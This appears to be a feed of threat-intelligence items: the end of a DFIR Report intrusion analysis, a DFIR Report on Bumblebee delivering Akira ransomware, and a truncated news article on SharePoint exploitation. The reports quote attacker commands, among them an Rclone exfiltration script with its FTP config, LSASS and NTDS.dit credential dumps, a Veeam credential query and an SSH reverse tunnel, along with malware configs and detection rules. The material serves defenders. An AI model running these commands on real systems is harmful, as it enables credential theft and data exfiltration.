intrusion when the threat actor attempted to execute the system.dl_ Cobalt Strike beacon on a domain controller via WMIC remote execution. This execution was not successful as it was not observed on the domain controller. Remote Services After the failed lateral movement attempt via WMIC, the threat actor pivoted to PsExec. The initial PsExec command also failed since the threat actor forgot to include the accepteula flag. After fixing the forgotten EULA mistake, they were able to successfully execute system.dl_ on the domain controller via rundll32. The threat actor then proceeded to execute the same command on a file share server and backup server minutes after the domain controller execution. Six hours after this initial lateral movement activity, the threat actor deployed and executed the zero.exe payload from C:\ProgramData on the beachhead. This payload, delivered via BackConnect session, was a custom implementation of the Zerologon vulnerability (CVE-2020-1472) exploit with capabilities for credential harvesting and remote code execution. During the intrusion the threat actor used zero.exe to move laterally between devices in the network. The executable was executed on the beachhead host and targeted a second domain controller, overall it was executed eight different times with a different username being used every execution. The execution used remote services to run code on lateral hosts. After the completion of the zero.exe executions, the threat actor attempted to establish a Metasploit reverse shell connection via a remote service on the same domain controller, to the C2 server at 217.196.98[.]61:4444. RDP RDP was another Windows native tool used by the threat actor for lateral movment. The threat actor had extracted domain admin credentials as discussed in the Credential Access section, these credentials were used by the threat actor to login to two servers in the environment from the beachhead device via RDP, giving them interactive admin access to both devices. While the logins originated from the beachhead host the threat actor leaked their source hostname during the authentication process. VPS2DAY-32220LE The threat actor’s hostname implies that the infrastructure used by them was provided via a German hosting company VPS2DAY, which seems to be operating under the name Servinga since the vps2day domain redirects to Servinga. Latrodectus/Backconnect The malware used to gain the initial foothold in the host was a Latrodectus Javascript file. The aforementioned file has been associated with high confidence to the Russian threat actor LUNAR SPIDER by Eclecticiq. It is important to note that although the sample contained only two domains, the injected explorer.exe communicated with three additional C2 servers. After further investigating the explorer’s memory, the following HTTPS request was identified towards one of the new domains: Upon decrypting the encrypted traffic sent by Latrodectus to the C2, the following information was identified: One extra functionality observed from the Latrodectus malware was Command and Control communication using the Backconnect protocol. More specifically, connections from explorer.exe and dllhost.exe were performed toward two different IP addresses. Additionally, these IP’s have been categorized with moderate confidence related to IcedId Backconnect, which commonly shares infrastructure with Latrodectus. Connections to the first IP started during the first day and then swapped to the second IP on the fifth day. As it was previously mentioned, utilizing Backconnect, various tasks were performed, such as browsing the file system, reading files, and uploading malware on the infected hosts. Brute Ratel The MSI file downloaded by the malicious Javascript contained a Brute Ratel DLL (upfilles.dll) that started C2 communication to a series of remote hosts. Of note is the use of the Tyk.io service which we have covered in prior reports. On the fifth day, the threat actor deployed a second Brute Ratel badger, named wscadminui.dll, which communicated with the following domains: Lsassa Lsassa.exe was a .NET malware that was deployed on the fourth day. It attempted to communicate with its C2 server every 250 seconds. Additionally, each POST request contained the hostname of the infected workstation and the username of the compromised user, which were sent to the server. Metasploit The psexec Metasploit module was utilized by the threat actor in order to perform lateral movement. During the analysis of the Metasploit shellcode, it was identified that it utilized the IP 217.196.98.61 to perform C2 communication. Although the Metasploit shellcode was executed, it was unable to establish a successful Command and Control connection, and the server rejected the connection. Cobalt Strike The final Command and Control tool used was Cobalt Strike. In the C2 communication, both HTTPS and HTTP traffic were detected: To summarize the Command and Control activity and showcase its intensity over time, the following graphs were made: Beaconing with Cobalt Strike Beaconing without Cobalt Strike Rclone From a Cobalt Strike beacon on a file share server, the threat actor dropped a data exfiltration toolkit in the ProgramData directory. This included a VBScript launcher (start.vbs), batch automation script (run.bat), renamed Rclone (sihosts.exe), and Rclone configuration file (rclone.conf). This toolkit automated the theft of sensitive data by syncing it to threat actor-controlled cloud storage using the legitimate Rclone utility. Content of run.bat: C:\programdata\sihosts.exe copy "E:" ftp:REDACTED\ \E -q --exclude "*.{ai,bin,blf,bmp,cab,cat,cdf-ms,cdp,cfs,DAT,DAT*,DATA,db,db-shm,db-wal,dbg,dll,download,dwg,dxf,exe,*exe,feedsdb-ms,ico,idea,idx,indd,inf,ini,iso,jcp,jfm,jrs,js,json,jtx,lck,lnk,log,LOG*,LOG1,LOG2,lst,manifest,msi,nak,nvram,ost,pma,png,psd,pwd,rar,regtrans-ms,search-ms,searchconnector-ms,sys,tbacc*,tbres,toc,uca,val,vmdk,vmsd,vmx,vmxf,vol,vswp,wpl,zip}" --inplace --ignore-existing --auto-confirm --multi-thread-streams 45 --transfers 45 --min-size 1k --max-age 90M The threat actor dropped the Rclone configuration file (rclone.conf) twice on the file share server in quick succession. The first rclone.conf file creation occurred three minutes before the second one, with two executions occurring between them, hinting that there may have been a mistake in the first config file dropped by the threat actor. The first execution had a syntax error with specifying the drive to exfiltrate files from (threat actor added an extra colon to the drive), and the second execution showed that the threat actor had initially dropped the config file with an incorrect username added to it. The FTP traffic shows that the username used was J0eBidenAbrabdy1aS3ha2 when it should have been J0eBidenAbrabdy1aS3ha2Yeami which was the username found in the rclone.conf file found on the infected device (the same password was used in both executions). [ftp] type = ftp host = 45.135.232.3 user = J0eBidenAbrabdy1aS3ha2Yeami #port = 21 pass = #tls = false Exfiltration activity took place over 9 hours and 46 minutes. As discussed in the Exfiltration section, on the twentieth day, the threat actor successfully performed data exfiltration. Despite that, no further final actions on objectives were performed until they were evicted from the network. Atomic RDP Client Name VPS2DAY-32220LE Rclone configuration host: 45.135.232.3 user: J0eBidenAbrabdy1aS3ha2Yeami user: J0eBidenAbrabdy1aS3ha2 Latrodectus Domains workspacin[.]cloud illoskanawer[.]com grasmetral[.]com jarkaairbo[.]com scupolasta[.]store Backconnect IP Addresses 185.93.221.12 193.168.143.196 Lsassa Backdoor Domain cloudmeri[.]com Lsassa Backdoor IP Addresses 162.0.209.121 Brute Ratel Domains anikvan[.]com altynbe[.]com boriz400[.]com ridiculous-breakpoint-gw[.]aws-use1[.]cloud-ara[.]tyk[.]io uncertain-kitten-gw[.]aws-euc1[.]cloud-ara[.]tyk[.]io erbolsan[.]com samderat200[.]com dauled[.]com kasymdev[.]com kasym500[.]com Brute Ratel IP Addresses 95.164.68.73 138.124.183.215 91.194.11.183 94.232.249.100 94.131.108.254 94.232.249.108 45.150.65.85 195.123.225.161 195.211.98.249 195.123.225.251 Metasploit IP Addresses 217.196.98.61 Cobalt Strike Domains avtechupdate[.]com Cobalt Strike IP Addresses 206.206.123.209 45.129.199.214 31.13.248.153 Latrodectus Configuration Config: { "Version": "1.3", "Direction": "4", "C2s": [ "hxxps://workspacin[.]cloud/live/", "hxxps://illoskanawer[.]com/live/" ], "RC4": "xkxp7pKhnkQxUokR2dl00qsRa6Hx0xvQ31jTD7EwUqj4RXWtHwELbZFbOoqCnXl8", "GroupID": "2221766521", "CampaignID": "Electrol" } Decrypted Strings: { "pid": "%d", "proc": "%s", "subproc": [ ] } &desklinks=[ *.* "%s" ] &proclist=[ { "pid": "%d", "proc": "%s", "subproc": [ ] } /c ipconfig /all C:\Windows\System32\cmd.exe /c systeminfo C:\Windows\System32\cmd.exe /c nltest /domain_trusts C:\Windows\System32\cmd.exe /c nltest /domain_trusts /all_trusts C:\Windows\System32\cmd.exe /c net view /all /domain C:\Windows\System32\cmd.exe /c net view /all C:\Windows\System32\cmd.exe /c net group "Domain Admins" /domain C:\Windows\System32\cmd.exe /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List C:\Windows\System32\wbem\wmic.exe /c net config workstation C:\Windows\System32\cmd.exe /c wmic.exe /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed C:\Windows\System32\cmd.exe /c whoami /groups C:\Windows\System32\cmd.exe &ipconfig= &systeminfo= &domain_trusts= &domain_trusts_all= &net_view_all_domain= &net_view_all= &net_group= &wmic= &net_config_ws= &net_wmic_av= &whoami_group= runnung front /files/ %d %s%s files/bp.dat %s\%d.dll %d.dat %s\%s init -zzzz="%s\%s" Electrol Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Content-Type: application/x-www-form-urlencoded POST GET CLEARURL URLS COMMAND ERROR xkxp7pKhnkQxUokR2dl00qsRa6Hx0xvQ31jTD7EwUqj4RXWtHwELbZFbOoqCnXl8 counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s counter=%d&type=%d&guid=%s&os=%d&arch=%d&username=%s&group=%lu&ver=%d.%d&up=%d&direction=%s ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ https://workspacin.cloud/live/ https://illoskanawer.com/live/ %s%d.dll %s%d.exe Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) <!DOCTYPE &mac= %02x :%02x ; &computername=%s &domain=%s C:\WINDOWS\SYSTEM32\rundll32.exe %s,%s C:\WINDOWS\SYSTEM32\rundll32.exe %s 12345 &stiller= Cobalt Strike Beacon Configuration (system.dl_ | cron801.dl_) Version: 4.6 Socket: 80 Beacon Type: HTTP MaxGetSize: 2105681 URL: hxxp://45.129.199[.]214/vodeo/wg01ck01 Jitter: 49 Encryption Key: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCGcLYJG9miEP3Lp+FqQ74n9HNbqI/s4ZE5fg0PHR7voXFnSWgDr1g9wmLgG5B5YMIPXZXzJlFUwEYSPam58mUqy+87onjq1rXP6Dx7DXqZQ+3b6ZvfCs+5jrfxcHXRp8XD03AYmyKETAAQXsJd8ipoTIexVlLLPsWXyH9xZ/KC1wIDAQAB (RSA) HttpPostUri: /vodeo/vid_wg01ck01 User Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 MalleableC2Instructions: Remove 4338 chars from the end, Remove 4183 chars from the begςinning, NetBIOS decode 'A', XOR mask w/ random key HTTPGetClient: mask, header Accept: application/xml, text/html, application/xhtml+xml HTTPPostClient: mask, mask, header Accept: text/html, application/xhtml+xml, application/json HTTPGet_Verb: GET HTTPPost_Verb: POST spawnto_x64: %windir%\sysnative\gpupdate.exe spawnto_x86: %windir%\syswow64\gpupdate.exe Proxy_Behavior: Use IE settings Watermark: 987654321 Jitter: 49 ProcessInject_MinAllocation: 19836 ProcessInject_AllocationMethod: NtMapViewOfSection Computed rustscan.exe 9eaa8464110883a15115b68ffa1ecf7d 5348970723b378c7cae35bb03d8736f8e5a9f0ac 37471af00673af4080ee21bd248536147e450d2eff45e8701a95d1163a9d62fe lsassa.exe 50abc42faa70062e20cd5e2a2e2b6633 97d72c8bbcf367be6bd5e80021e3bd3232ac309a 203eda879dbdb128259cd658b22c9c21c66cbcfa1e2f39879c73b4dafb84c592 run.bat c8ea31665553cbca19b22863eea6ca2c ba99cd73b74c64d6b1257b7db99814d1dc7d76b1 411dfb067a984a244ff0c41887d4a09fbbcd8d562550f5d32d58a6a6256bd7b2 start.vbs 4b3e9c9e018659d1cf04daf82abe3b64 333e1c5967a9a6c881c9573a3222bed6ada911c6 1a8ebf914ebea34402eecbf0985f05ae413663708d2fcc842fc27057ac5ec4ed sys.dll ad3c52316e0059c66bc1dd680cf9edad 8dfa63c0bb611e18c8331ed5b89decf433ac394a 100e03eb4e9dcdab6e06b2b26f800d47a21d338885f5dc1b42c56a32429c9168 Cobalt Strike system.dl_ or cron801.dl_ 495363b0262b62dfc38d7bfb7b5541aa 2d92890374904b49d3c54314d02b952e1a714e99 77eede38abdc740f000596e374b6842902653aeafb6c63011388ebb22ec13e28 BruteRatel upfilles.dll ccb6d3cb020f56758622911ddd2f1fcb 4a013f752c2bf84ca37e418175e0d9b6f61f636d f4cb6b684ea097f867d406a978b3422bbf2ecfea39236bf3ab99340996b825de BruteRatel wscadminui.dll d7bd590b6c660716277383aa23cb0aa9 38999890b3a2c743e0abea1122649082a5fa1281 6c3b2490e99cd8397fb79d84a5638c1a0c4edb516a4b0047aa70b5811483db8f zero.exe 91889658f1c8e1462f06f019b842f109 33a6b39fbe8ec45afab14af88fd6fa8e96885bf1 36bc32becf287402bf0e9c918de22d886a74c501a33aa08dcb9be2f222fa6e24 c356468.exe A2B6479A69B51AE555F695B243E4FDA1 23FFF588E3E5CC6678E1F77FAB9318D60F3AC55F 8FB5034AEDF41F8C8C4C4022FDDE7DB3C70A5A7C7B5B4DEC7F6A57715C18A5BF Network ET MALWARE Windows dir Microsoft Windows DOS prompt command exit OUTBOUND ET MALWARE Windows Microsoft Windows DOS prompt command Error not recognized ET POLICY Observed MSI Download ThreatFox IcedID botnet C2 traffic (ip:port - confidence level: 60%) ThreatFox Unidentified 111 (Latrodectus) botnet C2 traffic (ip:port - confidence level: 75%) ThreatFox botnet C2 traffic (domain - confidence level: 100%) ET HUNTING ZIP file exfiltration over raw TCP ET DROP Spamhaus DROP Listed Traffic Inbound group 5 ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection ET HUNTING Terse Unencrypted Request for Google - Likely Connectivity Check Sigma Search rules on detection.fyi or sigmasearchengine.com DFIR Private Rules: 67eb826d-7745-416c-9674-525ef0dc7610 : Launching VNC Interactive Session e652d235-b994-432e-b2f3-15a9cee381df : Domain Enumeration Using Netdom Query f8a8998f-dfe9-4942-812c-f4e591653ced : MS-Settings Shell Command Hijacking 1f959fda-4c54-4dad-9bca-4a5a65529772 : MSI Payload Executing Suspicious DLL Through Rundll32 a566b9e8-0a5c-4128-b499-c7632915d5e2 : Suspicious Type Command Over Administrative Share c42e8603-0311-4e4e-8923-4c1e8be9d78d : Suspicious Computer Machine Password Reset 1b8ad6a1-35c3-4400-9678-e7d3e3b0acfd : DNS data export using dnscmd.exe b326e9ad-0d9b-43bf-8bd0-9620839c6f6b : Veeam Backup Credential Theft Detection Sigma Repo: d522eca2-2973-4391-a3e0-ef0374321dae : Abused Debug Privilege by Arbitrary Parent Processes d5601f8c-b26f-4ab0-9035-69e11a8d4ad2 : CobaltStrike Named Pipe 85adeb13-4fc9-4e68-8a4a-c7cb2c336eb7 : CobaltStrike Named Pipe Patterns 7b434893-c57d-4f41-908d-6a17bf1ae98f : Network Connection Initiated From Process Located In Potentially Suspicious Or Uncommon Location 08249dc0-a28d-4555-8ba5-9255a198e08c : Outbound Network Connection Initiated By Script Interpreter ed74fe75-7594-4b4b-ae38-e38e3fd2eb23 : Outbound RDP Connections Over Non-Standard Tools 85b0b087-eddf-4a2b-b033-d771fa2b9775 : PowerShell Download and Execution Cradles 3dfd06d2-eaf4-4532-9555-68aca59f57c4 : Process Execution From A Potentially Suspicious Folder 8834e2f7-6b4b-4f09-8906-d2276470ee23 : PsExec/PAExec Escalation to LOCAL SYSTEM 9a132afa-654e-11eb-ae93-0242ac130002 : PUA - AdFind Suspicious Execution df55196f-f105-44d3-a675-e9dfb6cc2f2b : Renamed AdFind Execution 5bb68627-3198-40ca-b458-49f973db8752 : Rundll32 Execution Without Parameters 152f3630-77c1-4284-bcc0-4cc68ab2f6e7 : Shell Open Registry Keys Manipulation 3b6ab547-8ec2-4991-b9d2-2b06702a48d7 : Suspicious PowerShell Download and Execute Pattern 3c89a1e8-0fba-449e-8f1b-8409d6267ec8 : Suspicious Process Created Via Wmic.EXE 5cc2cda8-f261-4d88-a2de-e9e193c86716 : Suspicious Processes Spawned by WinRM dcdbc940-0bff-46b2-95f3-2d73f848e33b : Suspicious Spool Service Child Process 2617e7ed-adb7-40ba-b0f3-8f9945fe6c09 : Suspicious SYSTEM User Process Creation 1277f594-a7d1-4f28-a2d3-73af5cbeab43 : Windows Shell/Scripting Application File Write to Suspicious Folder Yara New Rules: https://github.com/The-DFIR-Report/Yara-Rules/blob/main/28761/28761.yar 61b951e4-0c27-59c0-8ea2-715b673fdcee : CAPE_Bruteratel 5ae680b0-5ad2-5e82-87f8-b0af4fec18de : CAPE_Bruteratelconfig 0ddc3e0a-c4ca-5342-b029-107ce1f2751e : CAPE_Bruteratelsyscall 956b6736-b3ef-5974-b3dd-02d04336dbe8 : CAPE_Latrodectus_1 6bd6fbb4-6634-5b51-90f0-f24e48d69043 : EMBEERESEARCH_Win_Cobalt_Sleep_Encrypt 2e0925bc-6929-57fd-a204-d14352ab043b : MALPEDIA_Win_Brute_Ratel_C4_Auto 1adbbac8-6bfc-5d06-9cad-1cba809f72a0 : MALPEDIA_Win_Cobalt_Strike_Auto 02322cd8-96f0-5b56-94f1-88df3945f27c : MALPEDIA_Win_Latrodectus_Auto 042a598d-66fa-4994-a793-228355abd5dd : SEKOIA_Latrodectus_Br4_Js_Dropper 29076cf5-f391-42f2-918f-e1c929bd368d : SEKOIA_Latrodectus_Exports d5b53d68-55f9-5837-9b0c-e7be2f3bd072 : SIGNATURE_BASE_Cobaltstrike_Sleep_Decoder_Indicator 63b71eef-0af5-5765-b957-ccdc9dde053b : SIGNATURE_BASE_HKTL_Cobaltstrike_Beacon_4_2_Decrypt af558aa2-a3dc-5a7a-bc74-42bb2246091c : SIGNATURE_BASE_HKTL_Cobaltstrike_Beacon_Strings d396ab0e-b584-5a7c-8627-5f318a20f9dd : SIGNATURE_BASE_HKTL_Cobaltstrike_Sleepmask_Jul22 a7dae4c7-672e-58fb-8542-90fa90d991a4 : TRELLIX_ARC_MALW_Cobaltrike 113ba304-261f-5c59-bc56-57515c239b6d : VOLEXITY_Trojan_Win_Cobaltstrike 4110d879-8d36-4004-858d-e62400948920 : Windows_Trojan_BruteRatel_4110d879 5b12cbab-c64c-4895-a186-b940bf4a8620 : Windows_Trojan_BruteRatel_5b12cbab 644ac114-cc66-443e-9dd0-a591be99a86c : Windows_Trojan_BruteRatel_644ac114 3dc22d14-a2f4-49cd-a3a8-3f071eddf028 : Windows_Trojan_CobaltStrike_3dc22d14 663fc95d-2472-4d52-ad75-c5d86cfc885f : Windows_Trojan_CobaltStrike_663fc95d 8d5963a2-54a9-4705-9f34-0d5f8e6345a2 : Windows_Trojan_CobaltStrike_8d5963a2 b54b94ac-6ef8-4ee9-a8a6-f7324c1974ca : Windows_Trojan_CobaltStrike_b54b94ac 841ff697-f389-497a-b813-3b9e19cba26e : Windows_Trojan_Latrodectus_841ff697 Access Token Manipulation - T1134 Archive via Utility - T1560.001 Bypass User Account Control - T1548.002 Credentials from Web Browsers - T1555.003 Credentials In Files - T1552.001 Domain Accounts - T1078.002 Domain Account - T1087.002 Domain Groups - T1069.002 Domain Trust Discovery - T1482 Drive-by Compromise - T1189 Encrypted/Encoded File - T1027.013 Exfiltration Over Alternative Protocol - T1048 Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003 Exploitation of Remote Services - T1210 File and Directory Discovery - T1083 File Deletion - T1070.004 Ingress Tool Transfer - T1105 JavaScript - T1059.007 Junk Code Insertion - T1027.016 Lateral Tool Transfer - T1570 Local Account - T1087.001 Local Groups - T1069.001 LSASS Memory - T1003.001 Malicious File - T1204.002 Masquerading - T1036 Network Service Discovery - T1046 Network Share Discovery - T1135 Non-Standard Port - T1571 PowerShell - T1059.001 Process Injection - T1055 Registry Run Keys / Startup Folder - T1547.001 Remote Desktop Protocol - T1021.001 Remote System Discovery - T1018 Rundll32 - T1218.011 Scheduled Task - T1053.005 Security Software Discovery - T1518.001 Service Execution - T1569.002 SMB/Windows Admin Shares - T1021.002 System Information Discovery - T1082 System Owner/User Discovery - T1033 Web Protocols - T1071.001 Windows Command Shell - T1059.003 Windows File and Directory Permissions Modification - T1222.001 Windows Management Instrumentation - T1047 Internal case #PR37865 #TB28761
thedfirreport.comSep 29, 2025extracted
From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira
Overview Bumblebee malware has been an initial access tool used by threat actors since late 2021. In 2023 the malware was first reported as using SEO poisoning as a delivery mechanism. Recently in May of 2025 Cyjax reported on a campaign using this method again, impersonating various IT tools. We observed a similar campaign in July in which a download of an IT management tool ended with Akira ransomware. In July 2025, we observed a threat actor compromise an organization through this SEO poisoning campaign. A user searching for “ManageEngine OpManager” was directed to a malicious website, which delivered a trojanized software installer. This action led to the deployment of the Bumblebee malware, granting the threat actor initial access to the environment. The intrusion quickly escalated from a single infected host to a full-scale network compromise. Following initial access, the threat actor moved laterally to a domain controller, dumped credentials, installed persistent remote access tools, and exfiltrated data using an SFTP client. The intrusion culminated in the deployment of Akira ransomware across the root domain. The threat actor returned two days later to repeat the process, encrypting systems within a child domain and causing significant operational disruption across the enterprise. This campaign affected multiple organizations during July as we received confirmation of a similar intrusion responded to by the Swisscom B2B CSIRT in which a malicious IT tool dropped Bumblebee and also ended with Akira ransomware deployment. Our customers received notice of this campaign in early July followed by a private threat brief report. If you are interested in the full report or additional IOCs please contact us. Private Threat Briefs: 20+ private DFIR reports annually. Threat Feed: Focuses on tracking Command and Control frameworks like Cobalt Strike, Metasploit, Sliver, etc. All Intel: Includes everything from Private Threat Briefs and Threat Feed, plus private events, Threat Actor Insights reports, long-term tracking, data clustering, and other curated intel. Private Sigma Ruleset: Features 170+ Sigma rules derived from 50+ cases, mapped to ATT&CK with test examples. DFIR Labs: Offers cloud-based, hands-on learning experiences, using real data, from real intrusions. Interactive labs are available with different difficulty levels and can be accessed on-demand, accommodating various learning speeds. Contact us today for pricing or a demo! This intrusion began when a user, searching for “ManageEngine OpManager” on Bing, was directed to the malicious site opmanager[.]pro. The user downloaded a trojanized MSI installer, ManageEngine-OpManager.msi, which, upon execution, installed the legitimate software while simultaneously loading the Bumblebee malware msimg32.dll via consent.exe. The Bumblebee malware established command and control (C2) with 109.205.195[.]211:443 and 188.40.187[.]145:443 using DGA domains. By targeting IT management tools and software in both our intrusion and the one observed by Swisscom B2B CSIRT, the users executing the malware were highly privileged IT administrator accounts within Active Directory. This provided easy privileged access to the threat actors for their next actions. Approximately five hours after this initial execution, Bumblebee deployed an AdaptixC2 beacon (AdgNsy.exe), which established a new C2 channel to 172.96.137[.]160:443. The threat actor then initiated internal reconnaissance using built-in Windows utilities, including systeminfo, nltest /dclist:, whoami /groups, and net group domain admins /dom. Following this, the threat actor then created two new domain accounts, backup_DA and backup_EA, and added the latter to the “Enterprise Administrators” group. Using the privileged backup_EA account, the threat actor connected to a domain controller via RDP and dumped the NTDS.dit file using wbadmin.exe. wbadmin.exe start backup -backuptarget:\\127.0.0.1\C$\ProgramData\ -include":C:\windows\NTDS\ntds.dit,C:\windows\system32\config\SYSTEM,C:\windows\system32\config\SECURITY" -quiet For persistence and re-entry, the threat actor installed the RustDesk remote access tool on several hosts. In a subsequent session, the threat actor established a SSH tunnel to an external server at 193.242.184[.]150 to proxy their activity. ssh [email protected] -R *:10400 -p22 They continued discovery by deploying a renamed SoftPerfect network scanner (n.exe). Following this, they targeted a backup server, and attempted to dump credentials from the Veeam PostgreSQL database. psql.exe -U postgres --csv -d VeeamBackup -w -c "SELECT user_name,password,description,change_time_utc FROM credentials" Around the same time, the threat actor installed FileZilla on a file server and exfiltrated data via SFTP to 185.174.100[.]203. They performed LSASS memory dumping on multiple workstations using rundll32.exe with comsvcs.dll using a combination of remote services and WMI. The threat actor then deployed the Akira ransomware payload, locker.exe, and executed it with various command-line options to encrypt local, remote network shares, and other directories on remote hosts. Two days after this first ransomware deployment, the threat actor returned via RustDesk, connected to a child domain controller, and performed another round of discovery using Invoke-ShareFinder and DNS zone export commands, before deploying Akira ransomware to the child domain. Time to the first round of ransomware (TTR) was just shy of 44 hours after initial access. Swisscom B2B CSIRT reported an even faster TTR of just nine hours from initial access. During our investigation of the OpManager site, we identified two additional websites that appear to be distributing trojanized installers for Axis Camera tools and Angry IP Scanner. Refer to the IOC section for further details. Detection Engineering and Threat Hunting (DEATH) Hunt for MSI installations from user directories followed by suspicious child processes: Monitor msiexec.exe executing from user Desktop/Downloads (C:\Users\*\Desktop\*.msi, C:\ProgramData\*.msi) and spawning unexpected children like consent.exe or unusual image load events for msimg32.dll. Review unusual MSI packages with suspicious names: Look for MSI files with generic names like ManageEngine-OpManager.msi or rustdesk-*.msi downloaded to user directories. Is this software generally allowed in you environment? Is this a commonly used remote access tool for your users? Does the software being installed make sense for the users job role? Credential Access Hunt for LSASS memory dumping via comsvcs.dll with tasklist enumeration: cmd.exe /Q /c for /f "tokens=1,2 delims= " %%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+000024 %%B \Windows\Temp\*.* full Detect LSASS dumps with unusual file extensions: Monitor rundll32.exe comsvcs.dll #+000024 writing to \Windows\Temp\ with non-standard extensions like .sys, .docx, .avhdx Monitor PostgreSQL credential extraction from Veeam databases: psql.exe -U postgres --csv -d VeeamBackup -w -c "SELECT user_name,password,description,change_time_utc FROM credentials" Monitor wbadmin abuse for NTDS.dit/Hive dumping: wbadmin start backup -backuptarget:\\127.0.0.1\C$\ProgramData\ -include:"C:\windows\NTDS\ntds.dit,C:\windows\system32\config\SYSTEM,C:\windows\system32\config\SECURITY" -quiet Discovery Hunt for rapid domain enumeration sequences within short time-frames ( -R *:10400 -p22 Hunt for Bumblebee DGA patterns: Look for multiple DNS queries to domains matching pattern [8-14 random chars].org (e.g., ev2sirbd269o5j[.]org, ijt0l3i8brit6q[.]org) within seconds of each other. Lateral Movement Hunt for RDP logons using newly created accounts: Monitor Type 10 logons from compromised internal systems using accounts like backup_EA Detect suspicious inter-system authentication patterns: Look for authentication from initial access systems to domain controllers within hours of account creation Data Collection & Exfiltration Hunt for FileZilla installation on servers followed by large outbound transfers: Detect FileZilla_*_setup.exe execution on server systems, especially when followed by significant network traffic Look for data staging in ProgramData: Monitor file writes to C:\ProgramData\shares.txt, C:\ProgramData\*.txt containing reconnaissance output Defense Evasion Detect case variation in command execution: Hunt for mixed-case command invocations like Cmd.eXE, CmD.Exe which may indicate evasion attempts Behavioral Correlation Rules Multi-stage attack progression: Alert when a single system exhibits: MSI installation → discovery commands → credential access → lateral movement within 24 hours Cross-system activity correlation: Hunt for accounts created on one system and immediately used for authentication on another (<= 5mins) Tool deployment patterns: Monitor for remote access tool installation (RustDesk) followed by SSH tunneling activity from the same network segment Indicators of Compromise (IOCs) Domains: ev2sirbd269o5j.org (Bumblebee DGA domain) 2rxyt9urhq0bgj.org (Bumblebee DGA domain) DFIR Report: opmanager[.]pro (Malicious site for trojanized installer) angryipscanner.org (Malicious site for trojanized installer) axiscamerastation.org (Malicious site for trojanized installer) Swisscom B2B CSIRT: ip-scanner[.]org (Malicious site for trojanized installer) IP Addresses: 109.205.195[.]211 (Bumblebee C2) 188.40.187[.]145 (Bumblebee C2) DFIR Report: 172.96.137[.]160 (AdaptixC2 C2) Swisscom B2B CSIRT: 170.130.55[.]223 (AdaptixC2 C2) DFIR Report: 193.242.184[.]150 (SSH Tunnel Host) Swisscom B2B CSIRT: 83.229.17[.]60 (SSH Tunnel Host) 185.174.100[.]203 (SFTP Exfiltration Server) File Hashes: DFIR Report: ManageEngine-OpManager.msi 186b26df63df3b7334043b47659cba4185c948629d857d47452cc1936f0aa5da (Malicious installer) Swisscom B2B CSIRT: Advanced-IP-Scanner.msi a14506c6fb92a5af88a6a44d273edafe10d69ee3d85c8b2a7ac458a22edf68d2 (Malicious installer) DFIR Report: msimg32.dll a6df0b49a5ef9ffd6513bfe061fb60f6d2941a440038e2de8a7aeb1914945331 (Bumblebee) Swisscom B2B CSIRT: msimg32.dll 6ba5d96e52734cbb9246bcc3decf127f780d48fa11587a1a44880c1f04404d23 (Bumblebee) DFIR Report: locker.exe de730d969854c3697fd0e0803826b4222f3a14efe47e4c60ed749fff6edce19d (Akira ransomware) Swisscom B2B CSIRT: win.exe 18b8e6762afd29a09becae283083c74a19fc09db1f2c3412c42f1b0178bc122a (Akira ransomware) #TB36726
thedfirreport.comAug 5, 2025extracted
US Tops Hit List as 396 SharePoint Systems Compromised Globally
A total of 396 compromised systems have been identified following the widespread exploitation of the Microsoft SharePoint zero-day vulnerability ToolShell (CVE-2025-53770/53771). Eye Security, the Dutch company that discovered the global zero-day, analyzed 27,000 SharePoint servers between July 18 and 23 and confirmed the compromise affected at least 145 unique organizations across 41 countries. Many commentators have noted that long-term, the number of affected organizations is likely to grow. The US was the country with the most successfully attacked organizations, making up 31% of the total. Mauritius (8%), Germany (7%) and France (5%) were also among those affected. Eye Security told Infosecurity that while it couldn’t be certain, Mauritius could have been among the most targeted due to the strong presence of US government entities in the region. The firm also identified two organizations in Jordan that were affected. Eye Security noted these both experienced an “unusually high volume of attacks.” Government Organizations Most Targeted The government sector accounted for 30% of all confirmed infections. Reports have suggested that the US Nuclear Weapons Agency, Department of Homeland Security and Department of Health and Human Services were among the victims, but no official confirmation has come from these agencies at the time of writing. Large organizations, especially government agencies, typically use on-premises Microsoft SharePoint in their technology stack. Using SharePoint on-premises allows organizations to have greater control over the information they store on these systems. “From the data, it’s clear this wasn’t a random or opportunistic campaign. The attackers knew exactly what they were looking for,” said Lodi Hensen, VP of Security Operations at Eye Security. The cybersecurity firm told Infosecurity it was clear the attackers didn’t go after every vulnerable organization. “Instead, they appeared to focus on those that were likely to be of particular strategic or intelligence value, suggesting a targeted and deliberate approach,” the security firm said. The firm also said there was a strong suggestion that these organizations were targeted as part of intelligence-led operations. The education sector accounted for 13% of the attacks worldwide, followed by SaaS providers (9%), telecommunications firms (4%) and power grids (4%). Attacks Expected to Continue Eye Security expects continued abuse of the SharePoint flaw in the coming weeks, with ransomware and supply chain threats likely to follow. Microsoft attributed the initial attacks to China-linked actors including Linen Typhoon, Violet Typhoon and Storm-2603. However, more recent activity suggests that exploitation is not limited to state-backed groups. “Once a zero-day becomes public and technical details begin to circulate, other state and non-state actors tend to follow. That includes cybercriminal groups with very different motives, especially those focused on financial gain,” said Hensen. Low skilled actors may now be able to take advantage of the vulnerability. Eye Security explained that the exploit has now been incorporated into open-source tools like Metasploit, making it trivial for even low-skilled attackers to exploit unpatched 